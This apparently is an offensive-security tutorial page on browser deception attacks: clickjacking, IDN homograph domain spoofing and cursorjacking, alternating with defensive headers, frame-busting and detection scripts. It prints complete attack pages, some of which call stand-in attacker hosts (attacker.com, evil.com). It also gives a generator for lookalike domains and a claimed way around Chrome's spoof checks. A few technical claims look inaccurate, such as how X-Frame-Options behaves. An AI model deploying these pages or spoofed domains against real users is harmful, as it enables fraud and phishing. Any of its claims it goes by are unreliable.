Skip to content

The Hostile DOM: Deep Dive Technical Reference

Offensive Security Research

This document provides exhaustive technical analysis of browser-based attack vectors. All code examples are for educational and authorized security research purposes only.

Part 2: Visual & UI Deception Attacks

2.1 Clickjacking: Weaponizing User Input

Clickjacking exploits the rendering engine's layering system to create invisible UI elements that capture user clicks intended for legitimate controls.

Z-Index Exploitation Mechanics

The browser rendering engine stacks elements using the z-index CSS property. Higher values render "above" lower values, but click events propagate through the Z-axis.

Attack Implementation: Bank Transfer Clickjack

Click to expand code
html
<!DOCTYPE html>
<html>
<head>
  <title>Win a Free iPhone!</title>
  <style>
    /* Position the trap precisely over the decoy */
    #trap-container {
      position: absolute;
      top: 200px;
      left: 300px;
      width: 300px;
      height: 100px;
      z-index: 999;
      opacity: 0; /* Invisible to user */
    }
    
    /* The malicious iframe */
    #trap-iframe {
      width: 100%;
      height: 100%;
      border: none;
    }
    
    /* The visible decoy button */
    #decoy-button {
      position: absolute;
      top: 200px;
      left: 300px;
      width: 300px;
      height: 100px;
      z-index: 1; /* Below the trap */
      
      /* Make it enticing */
      background: linear-gradient(45deg, #FF6B6B, #4ECDC4);
      color: white;
      font-size: 24px;
      font-weight: bold;
      border: none;
      border-radius: 10px;
      cursor: pointer;
      box-shadow: 0 5px 15px rgba(0,0,0,0.3);
    }
    
    #decoy-button:hover {
      transform: scale(1.05);
    }
  </style>
</head>
<body>
  <h1>🎁 Congratulations! You've Won!</h1>
  <p>Click the button below to claim your FREE iPhone 15 Pro!</p>
  
  <!-- The trap: invisible iframe pointing to victim's bank -->
  <div id="trap-container">
    <iframe id="trap-iframe" 
            src="https://victim-bank.com/transfer?to=attacker&amount=10000">
    </iframe>
  </div>
  
  <!-- The decoy: what the user thinks they're clicking -->
  <button id="decoy-button">
    🎁 CLAIM YOUR PRIZE!
  </button>
  
  <script>
    // Optional: Track successful clicks
    document.getElementById('trap-iframe').onload = function() {
      // User clicked and the bank responded
      fetch('https://attacker.com/log-success', {
        method: 'POST',
        body: JSON.stringify({
          victim_ip: '{{USER_IP}}',
          timestamp: new Date().toISOString(),
          status: 'transfer_initiated'
        })
      });
    };
  </script>
</body>
</html>
http
# Prevent framing entirely
X-Frame-Options: DENY

# More granular control
Content-Security-Policy: frame-ancestors 'none'

# Allow only same-origin framing
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'

# Allow specific domains
Content-Security-Policy: frame-ancestors https://trusted-domain.com
javascript
// Detect if page is being framed
if (window.self !== window.top) {
  // We are inside an iframe
  
  // Check if parent is malicious
  try {
    // Attempt to access parent origin (will throw if cross-origin)
    const parentOrigin = window.parent.location.origin;
    
    // If we reach here, same-origin framing (potentially malicious)
    console.warn('[!] Page is framed by same-origin:', parentOrigin);
    
  } catch (e) {
    // Cross-origin framing detected
    console.error('[!] Page is framed by unknown origin');
    
    // Break out of the frame
    if (confirm('This page is being framed. Break out?')) {
      window.top.location = window.self.location;
    }
  }
}

// Additional check: opacity-based clickjacking detection
function detectClickjacking() {
  // Check if any iframes have suspicious opacity
  const iframes = document.querySelectorAll('iframe');
  
  iframes.forEach((iframe, index) => {
    const style = window.getComputedStyle(iframe);
    const opacity = parseFloat(style.opacity);
    const zIndex = parseInt(style.zIndex) || 0;
    
    if (opacity < 0.1 && zIndex > 100) {
      console.warn(`[!] Suspicious iframe detected:
        Index: ${index}
        Opacity: ${opacity}
        Z-Index: ${zIndex}
        Source: ${iframe.src}
      `);
      
      // Make it visible for user
      iframe.style.opacity = '1';
      iframe.style.border = '5px solid red';
    }
  });
}

// Run detection on page load and on DOM mutations
detectClickjacking();
const observer = new MutationObserver(detectClickjacking);
observer.observe(document.body, { childList: true, subtree: true });

Advanced Variant: Double-Iframe Technique

To bypass detection that checks window.parent, attackers use nested iframes:

html
<!-- Attacker's page -->
<iframe src="https://attacker.com/middle-frame"></iframe>

<!-- Middle frame (attacker.com/middle-frame) -->
<iframe src="https://victim-bank.com/transfer" style="opacity: 0; z-index: 999;"></iframe>
<button style="z-index: 1;">Click Me!</button>

Now window.parent points to the middle frame (also attacker-controlled), not the top-level malicious page.

Mitigation Strategy Matrix

Defense LayerTechniqueEffectivenessLimitations
Server-SideX-Frame-Options: DENYHighDoesn't prevent same-origin framing
Server-SideCSP: frame-ancestors 'none'Very HighSupersedes X-Frame-Options, broader support
Client-SideFrame-busting scriptMediumCan be bypassed with sandbox attributes
Client-SideOpacity detectionLowEasily circumvented with other CSS tricks
BrowserConfirmation promptsMediumUser fatigue leads to dismissal

2.2 Homograph Attacks: IDN Spoofing

Internationalized Domain Names (IDN) allow non-ASCII characters in URLs. Attackers register domains using visually identical characters from different Unicode blocks.

Character Substitution Matrix

Click to expand code
javascript
// Homograph character mappings
const HOMOGRAPHS = {
  // Latin -> Cyrillic
  'a': 'а', // U+0061 -> U+0430
  'c': 'с', // U+0063 -> U+0441  
  'e': 'е', // U+0065 -> U+0435
  'o': 'о', // U+006F -> U+043E
  'p': 'р', // U+0070 -> U+0440
  'x': 'х', // U+0078 -> U+0445
  
  // Latin -> Greek
  'A': 'Α', // U+0041 -> U+0391
  'B': 'Β', // U+0042 -> U+0392
  'E': 'Ε', // U+0045 -> U+0395
  'O': 'Ο', // U+004F -> U+039F
  
  // Numbers with similar glyphs
  '0': 'O', // Zero -> Letter O
  '1': 'l', // One -> Lowercase L
  '5': 'S'  // Five -> Letter S
};

// Generate homograph domain
function createHomograph(domain) {
  let spoofed = '';
  for (const char of domain) {
    spoofed += HOMOGRAPHS[char] || char;
  }
  return spoofed;
}

// Example
const legitimate = 'apple.com';
const spoofed = createHomograph(legitimate);

console.log(`Legitimate: ${legitimate}`);
console.log(`Spoofed: ${spoofed}`);
console.log(`Visually Identical: ${legitimate === spoofed ? 'NO' : 'YES (different Unicode)'}`);

// Convert to Punycode (what browsers actually use)
const punycode = require('punycode');
console.log(`Punycode: ${punycode.toASCII(spoofed)}`);
// Output: xn--pple-43d.com

Real-World Attack Example: Epic Games Phishing

In 2018, attackers registered epicgames.com using Cyrillic characters:

Legitimate: https://www.epicgames.com
Malicious:  https://www.epicgаmes.com  (note the Cyrillic 'а')
Punycode:   https://www.xn--epicgmes-vwb.com

Attack Flow:

Browser Defenses & Bypasses

Modern browsers attempt to detect homograph attacks using Unicode confusion detection:

Click to expand code
javascript
// Simplified version of Chrome's IDN spoof checker
function isIDNSafe(domain) {
  // Check 1: Mixed scripts (Latin + Cyrillic)
  const hasLatin = /[a-zA-Z]/.test(domain);
  const hasCyrillic = /[\u0400-\u04FF]/.test(domain);
  
  if (hasLatin && hasCyrillic) {
    return false; // UNSAFE: Mixed scripts
  }
  
  // Check 2: Whole-script confusables
  const confusableScripts = ['Cyrillic', 'Greek', 'Armenian'];
  for (const script of confusableScripts) {
    if (isWholeScript(domain, script) && hasLatinLookalikes(domain)) {
      return false; // UNSAFE: All-Cyrillic but looks like Latin
    }
  }
  
  // Check 3: Skeleton comparison
  const skeleton = getSkeleton(domain); // Normalize confusables
  const knownDomains = ['google', 'apple', 'microsoft', 'amazon'];
  
  for (const known of knownDomains) {
    if (skeleton === known) {
      return false; // UNSAFE: Matches known brand
    }
  }
  
  return true; // SAFE
}

// When unsafe, browser shows Punycode instead
function displayDomain(domain) {
  if (isIDNSafe(domain)) {
    return domain; // Show Unicode
  } else {
    return punycode.toASCII(domain); // Show xn--... 
  }
}
javascript
// Bypass: Use TLDs from same script
// Chrome allows all-Cyrillic if TLD is also Cyrillic

// BLOCKED by Chrome:
// https://аpple.com  (Cyrillic domain + Latin .com)
// Displays as: https://xn--pple-43d.com

// ALLOWED by Chrome:
// https://аpple.рф  (Cyrillic domain + Cyrillic .рф TLD)
// Displays as: https://аpple.рф (Unicode visible!)

// List of Cyrillic TLDs that bypass detection:
const cyrillic_tlds = [
  '.рф',    // Russia
  '.бел',   // Belarus  
  '.қаз',   // Kazakhstan
  '.укр',   // Ukraine
  '.срб'    // Serbia
];

// Attack domain that bypasses Chrome:
const bypass = 'аррӏе.рф'; // All Cyrillic, renders as Unicode
console.log(`Bypass domain: ${bypass}`);
console.log(`Targets victims who speak Russian`);

2.3 Cursorjacking: Mouse Pointer Manipulation

Cursorjacking offsets the visual cursor from the actual mouse position, causing users to click unintended elements.

CSS-Based Cursor Offset

Click to expand code
html
<!DOCTYPE html>
<html>
<head>
  <style>
    /* Create a fake cursor image */
    body {
      cursor: none; /* Hide real cursor */
    }
    
    #fake-cursor {
      position: fixed;
      width: 20px;
      height: 20px;
      background: url('cursor-arrow.png');
      pointer-events: none; /* Don't interfere with clicks */
      z-index: 10000;
    }
    
    /* Position malicious button where real cursor is */
    #malicious-link {
      position: absolute;
      top: 0;
      left: 0;
      width: 50px;
      height: 50px;
      opacity: 0; /* Invisible */
    }
  </style>
</head>
<body>
  <h1>Safe Content Here</h1>
  <a href="https://safe-site.com">Click here for info</a>
  
  <!-- Invisible malicious element -->
  <a id="malicious-link" href="https://evil.com/download-malware"></a>
  
  <!-- Fake cursor -->
  <div id="fake-cursor"></div>
  
  <script>
    const fakeCursor = document.getElementById('fake-cursor');
    const maliciousLink = document.getElementById('malicious-link');
    
    // Offset amount in pixels
    const OFFSET_X = 50;
    const OFFSET_Y = 50;
    
    document.addEventListener('mousemove', (e) => {
      // Position fake cursor with offset
      fakeCursor.style.left = (e.clientX + OFFSET_X) + 'px';
      fakeCursor.style.top = (e.clientY + OFFSET_Y) + 'px';
      
      // Position malicious link at REAL cursor location
      maliciousLink.style.left = e.clientX + 'px';
      maliciousLink.style.top = e.clientY + 'px';
    });
    
    // Log successful clicks
    maliciousLink.addEventListener('click', () => {
      fetch('https://attacker.com/log', {
        method: 'POST',
        body: JSON.stringify({
          victim: navigator.userAgent,
          timestamp: Date.now()
        })
      });
    });
  </script>
</body>
</html>
javascript
// Detect cursorjacking attempts
function detectCursorjacking() {
  const warnings = [];
  
  // Check 1: cursor: none on body
  const bodyStyle = window.getComputedStyle(document.body);
  if (bodyStyle.cursor === 'none') {
    warnings.push('Body has cursor:none - possible cursorjacking');
  }
  
  // Check 2: Fixed position elements with cursor images
  const elements = document.querySelectorAll('*');
  elements.forEach(el => {
    const style = window.getComputedStyle(el);
    
    if (style.position === 'fixed' && 
        style.pointerEvents === 'none' &&
        (style.backgroundImage.includes('cursor') || 
         style.content.includes('cursor'))) {
      warnings.push(`Suspicious fake cursor element: ${el.tagName}`);
    }
  });
  
  // Check 3: Invisible clickable elements
  const links = document.querySelectorAll('a, button');
  links.forEach(link => {
    const style = window.getComputedStyle(link);
    const opacity = parseFloat(style.opacity);
    const display = style.display;
    
    if (opacity < 0.1 && display !== 'none') {
      const rect = link.getBoundingClientRect();
      if (rect.width > 0 && rect.height > 0) {
        warnings.push(`Invisible clickable element: ${link.href || link.textContent}`);
      }
    }
  });
  
  return warnings;
}

// Run detection
const threats = detectCursorjacking();
if (threats.length > 0) {
  console.error('[!] Cursorjacking detected:');
  threats.forEach(t => console.error('  - ' + t));
}

Hardware Cursor vs. Software Cursor

Browsers render cursors in two ways:

  • Hardware Cursor: Managed by OS/GPU (cannot be offset by CSS)
  • Software Cursor: Rendered by browser as a DOM element (vulnerable to offset)

Most browsers use hardware cursors, making CSS-based cursorjacking ineffective. However, attackers can force software cursor mode:

javascript
// Force software cursor rendering
document.body.style.cursor = 'url(data:image/svg+xml,...), auto';
// When using custom cursor URLs, some browsers fall back to software rendering